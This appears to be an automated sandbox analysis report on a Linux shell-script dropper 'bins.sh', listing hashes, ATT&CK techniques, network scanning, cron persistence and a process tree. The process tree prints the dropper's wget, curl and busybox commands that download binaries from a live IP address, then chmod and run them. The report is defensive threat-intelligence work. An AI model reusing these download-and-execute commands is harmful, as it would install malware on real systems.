d91598cbe809a777eda879117574ae48a38a5e5ce754f73085117b25104ef05a

Analysis

max time kernel
150s
max time network
187s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
20/11/2024, 04:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample241120-e7mzvssajp
SHA256 d91598cbe809a777eda879117574ae48a38a5e5ce754f73085117b25104ef05a
MD5 40acb9bbdc30eee90db1699fc64664f0
SHA1 e7f465a62fe2f5943e5c8d4cb0f279f026f536b5
SHA512 b0d6779c6beb7671facf61f8e5585c55ab7b2b631bac3813ce58bffbffd5993de30f3a8ea75780c9117bbc93739d77c4ef6300ab47e608ee405fb089fc6b6a8d
SSDEEP 192:m5Z/77fdck0awgfSex7RRJkIN18JpAEMVA4og7XDu7iuKGuie7MUZEMVW4ogJpWX:wWWNxmGJjB4
MD5 SHA1 SHA512 SSDEEP

Score

9^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2154) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
686	chmod
785	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G	687	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
/tmp/gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI	786	gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI

Renames itself 1 IoCs

pid	Process
688	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.NmhYkS	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/714/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/747/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/762/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/779/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/876/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/263/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/581/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/599/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/1035/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/880/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/966/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/1015/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/895/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/641/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/730/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/733/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/1016/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/187/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/655/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/1007/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/18/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/770/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/793/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/784/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/1013/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/1060/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/848/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/1054/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/712/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/737/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/839/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/911/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/925/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/928/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/1034/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/1037/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/766/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/800/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/878/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/1059/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/1066/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/1026/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/1047/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/21/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/837/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/891/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/936/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/969/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/1024/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/1/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/29/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/828/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/822/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/877/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/130/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/694/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/736/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/723/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/748/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/764/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/836/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/914/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/42/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
File opened for reading	/proc/602/cmdline	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G	wget
File opened for modification	/tmp/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G	curl
File opened for modification	/tmp/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G	busybox
File opened for modification	/tmp/gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:655
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:657
- /usr/bin/wget
  wget http://87.120.125.191/bins/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
  2⤵
  - Writes file to tmp directory
  PID:663
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:675
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
  2⤵
  - Writes file to tmp directory
  PID:684
- /bin/chmod
  chmod 777 fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
  2⤵
  - File and Directory Permissions Modification
  PID:686
- /tmp/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
  ./fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:687
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:689
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:691
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:692
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:693
- /bin/rm
  rm fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
  2⤵
  PID:695
- /usr/bin/wget
  wget http://87.120.125.191/bins/gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
  2⤵
  PID:698
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
  2⤵
  PID:699
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
  2⤵
  - Writes file to tmp directory
  PID:740
- /bin/chmod
  chmod 777 gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
  2⤵
  - File and Directory Permissions Modification
  PID:785
- /tmp/gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
  ./gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
  2⤵
  - Executes dropped EXE
  PID:786
- /bin/rm
  rm gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
  2⤵
  PID:788
- /usr/bin/wget
  wget http://87.120.125.191/bins/uvhV9m5KaLeN2x38H0VzxUaS8EUtxlgrsn
  2⤵
  PID:789

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G

Path /tmp/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
Size 119KB
SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
MD5 1b166b95f9cb4b079ef1b9ec8363ddf3
SHA1 0d8eb08add467b3b5474f9b25909297fe7c2839c
SHA512 983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
SSDEEP 3072:lbeGHulXta3Yz+u6b/tDrHvIAJ9GjOHSHm8RiQztBJk9zEp:Re3ODtDbvIg9Gj7Hm8RiQztB+9zEp
MD5 SHA1 SHA512 SSDEEP

Submit Download

gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI

Path /tmp/gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
Size 122KB
SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
MD5 cd3d4b9c643e5b473fb4d88ed05f0716
SHA1 64ee7a97418583d759eaea8000890cc3bae1b5f4
SHA512 164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
SSDEEP 3072:QON+vZgnSgtpg1sgnHgS4rpq26zEz2IyombPQbZBmf35ZYp:Q0bY3AH36y2ambPQbZBm/5ZYp
MD5 SHA1 SHA512 SSDEEP

Submit Download

tmp.NmhYkS

Path /var/spool/cron/crontabs/tmp.NmhYkS
Size 210B
SHA256 3818e4299a8a5e9f5344b8f826398c534dc58fccd4d76043507d5a1c3f2abd8d
MD5 5dca59ac4154bf342b6376a5632de91b
SHA1 085886890bb58a5a6c16275b84a13b94fddd0d01
SHA512 02e55e381e4f1c39923ce2ff2bbcfac77de6137cc84a7f5391f514cb19407d510aca1be9d9d7666104f71a844ac7ce565fc577db1b31352cda086af3e962ccae
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads